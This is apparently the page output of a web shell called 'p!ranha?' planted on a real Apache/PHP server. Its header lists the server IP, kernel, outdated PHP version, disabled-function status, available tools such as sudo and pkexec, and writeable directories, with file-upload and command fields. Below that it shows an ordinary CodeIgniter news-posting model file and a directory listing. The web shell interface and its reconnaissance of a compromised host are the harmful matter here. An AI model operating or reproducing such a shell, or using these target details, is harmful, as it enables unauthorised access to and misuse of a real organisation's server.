p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/models/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/models/Posting_model.php
<?php 
defined('BASEPATH') OR exit('No direct script access allowed');

class Posting_model extends CI_Model {

   public $perPage = 15;

   public function getChoice()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('choice', 'Y');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(4);
      return $this->db->get()->result();
   }

   public function getThread()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('thread', 'Y');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(4);
      return $this->db->get()->result();
   }

   public function getFeatured()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('featured', 'Y');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(3);
      return $this->db->get()->result();
   }
  
   public function getLastNews()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(5);
      return $this->db->get()->result();
   }  
   
   public function getBeritaPilihan()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->where('posting.choice', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(5);
      return $this->db->get()->result();
   }
  
   public function getLastPost()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->where('(posting.id_category=1 OR posting.id_category=6)');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(10);
      return $this->db->get()->result();
   }

   public function getMostPopular()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('thread', 'Y');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(1);
      return $this->db->get()->row();
   }

   public function getVideoGames()
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('category.slug', 'video-game');
      $this->db->where('posting.is_active', 'Y');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(5);
      return $this->db->get()->result();
   }
   
   public function getAllPosting($page)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->paginate($page);
      $this->db->order_by('posting.id', 'desc');
      return $this->db->get()->result();
   }

   public function getPosting($seo_title)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('seo_title', $seo_title);
      return $this->db->get()->row();
   }

   public function getPostingById($id)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.id', $id);
      return $this->db->get()->row();
   }

   public function getPostingByCategory($category, $page)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->where('category.slug', $category);
      $this->paginate($page);
      $this->db->order_by('posting.id', 'desc');
      return $this->db->get()->result();
   }

   public function getPostingByKeyword($filter, $page)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->like('title', $filter);
      $this->db->or_like('content', $filter);
      $this->paginate($page);
      $this->db->order_by('posting.id', 'desc');
      return $this->db->get()->result();
   }

   public function countPosting($category = null)
   {
      if($category){
         $idCategory = $this->_getIdCategory($category);
         $this->db->where('id_category', $idCategory->id);
      }

      $this->db->where('posting.is_active', 'Y');  
      return $this->db->count_all_results('posting');
   }
   
   public function countPosting2($filter = null)
   {
      if($filter){
			$this->db->like('title', $filter);
			$this->db->or_like('content', $filter);
      }

      $this->db->where('posting.is_active', 'Y');  
      return $this->db->count_all_results('posting');
   }

   public function _getIdCategory($category)
   {
      $this->db->where('slug', $category);
      return $this->db->get('category')->row();
   }

   public function getDefaultValues()
   {
      return [
         'title'        => '',
         'seo_title'    => '',
         'content'      => '',
         'featured'     => 'N',
         'choice'       => 'N',
         'thread'       => 'N',
         'id_category'  => '',
         'photo'        => '',
         'is_active'    => 'Y',
         'date'         => ''
      ];
   }

   public function uploadImage(){

      $config = [
        'upload_path'     => './images/posting',
        'encrypt_name'    => TRUE,
        'allowed_types'   => 'jpg|jpeg|gif|png|JPG|PNG',
        'max_size'        => 1000,
        'max_width'       => 0,
        'max_height'      => 0,
        'overwrite'       => TRUE,
        'file_ext_tolower'=> TRUE
      ];
  
      $this->load->library('upload', $config);
  
      if(!$this->upload->do_upload('photo')){
        $data['error_string'] = 'Upload error: '.$this->upload->display_errors('',''); 
        exit();
      }
      return $this->upload->data('file_name');
   }
  
   public function deleteImage($fileName){
      if(file_exists("./images/posting/$fileName")){
        unlink("./images/posting/$fileName");
      }
   }

   public function paginate($page){
      return  $this->db->limit($this->perPage, $this->calculateRealOffset($page));
   }
  
   public function calculateRealOffset($page){
      if(is_null($page) || empty($page)){
         $offset = 0;
      }else{
         $offset = ($page * $this->perPage) - $this->perPage;
      }
      
      return $offset;
   }
  
   public function makePagination($baseUrl, $uriSegment, $totalRows = null){
      $this->load->library('pagination');

      $config = [
         'base_url'            => $baseUrl,
         'uri_segment'         => $uriSegment,
         'per_page'            => $this->perPage,
         'total_rows'          => $totalRows,
         'use_page_numbers'    => true,
         
         'full_tag_open'       => '<ul class="nav-x uc-pagination hstack gap-1 justify-center ft-secondary" data-uc-margin="">',
         'full_tag_close'      => '</ul>',
         
         'attributes'          => ['class' => ''],
         'first_link'          => 'First',
         'last_link'           => 'Last',
         'first_tag_open'      => '<li>',
         'first_tag_close'     => '</li>',
         'prev_link'           => '&lt',
         'prev_tag_open'       => '<li>',
         'prev_tag_close'      => '</li>',
         'next-link'           => '&gt',
         'next_tag_open'       => '<li>',
         'next_tag_close'      => '</li>',
         'last_tag_open'       => '<li>',
         'last_tag_close'      => '</li>', 
         'cur_tag_open'        => '<li><a href="#" class="uc-active">',
         'cur_tag_close'       => '<span class="sr-only">(current)</span></a></li>',
         'num_tag_open'        => '<li>',
         'num_tag_close'       => '</li>'
      ];

      $this->pagination->initialize($config);
      return $this->pagination->create_links();
   }
   
   public function loadMoreData($page)
   {
      $this->db->from('posting');
      $this->db->join('category', 'category.id = posting. id_category');
      $this->db->where('posting.is_active', 'Y');
      $this->db->where('(posting.id_category=1 OR posting.id_category=6)');
      $this->db->order_by('posting.id', 'desc');
      $this->db->limit(4,$page);
      return $this->db->get()->result();
   }   

}

/* End of file Category_model.php */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:09
0 / 0
0755
Admin_model.php
0.783 KB
January 20 2025 04:15:08
0 / 0
0644
Album_model.php
1.129 KB
December 31 2020 02:24:50
0 / 0
0644
Banner_model.php
1.041 KB
January 14 2025 08:12:08
0 / 0
0644
Category_model.php
0.279 KB
December 31 2020 02:24:50
0 / 0
0644
Contact_model.php
0.233 KB
December 31 2020 02:24:50
0 / 0
0644
Gallery_model.php
1.027 KB
December 31 2020 02:24:50
0 / 0
0644
Identity_model.php
1.02 KB
December 31 2020 02:24:50
0 / 0
0644
Ion_auth_model.php
64.402 KB
December 31 2020 02:24:50
0 / 0
0644
Menu_model.php
0.813 KB
December 31 2020 02:24:50
0 / 0
0644
My_model.php
2.32 KB
January 03 2025 03:22:49
0 / 0
0644
Posting_model.php
8.661 KB
April 17 2025 01:48:34
0 / 0
0644
Submenu_model.php
0.438 KB
December 31 2020 02:24:50
0 / 0
0644
index.html
0.128 KB
December 31 2020 02:24:50
0 / 0
0644